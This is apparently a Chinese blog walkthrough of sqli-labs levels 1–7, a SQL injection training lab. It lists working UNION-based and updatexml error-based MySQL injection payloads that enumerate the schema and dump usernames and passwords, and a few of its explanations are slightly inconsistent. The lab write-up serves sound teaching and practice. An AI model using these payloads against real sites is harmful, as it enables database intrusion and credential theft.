sqli 1-7

less 1

提示输入数字值的ID作为参数

url处输入?id=1,可以查看对应的内容

输入的数字值不同,返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

输入id=1'

再输入id=1'--+

order by是mysql中对查询数据进行排序的方法

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

输入?id=1'order by 3 --+

输入?id=1'order by 4 --+

第二步:爆出显示位,就是看看表格里面哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据库是security,版本是5.7.26。 

第四步:爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
 

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。 

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。 

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

less 2

构造id=1’ 报错,说明是数字型注入

接下来和第一关类似

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。


?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

less 3

输入id=1',看到这样的报错,可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

构造?id=2')--+,成功 

后面和前两关类似

?id=2')--+

?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
 

less 4

构造?id=1'

发现没有反应,有可能 ’ 被过滤掉了

构造?id=1\

 根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
 

less 5

输入?id=1

发现结果正确的时候只返回 you are in…,不会返回数据库当中的信息了 

输入?id=1'-- -

看出是字符型

updatexml报错注入:

?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) -- -  爆出表
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- - 爆出users表的字段
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+ 爆出username字段的值

less 6

构造:?id=1"

和第五关的区别是用"闭合

less 7 

输入?id=1

 输入?id=1')) --+

看出闭合方式为')) 

和前面几关类似

?id=1')) and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值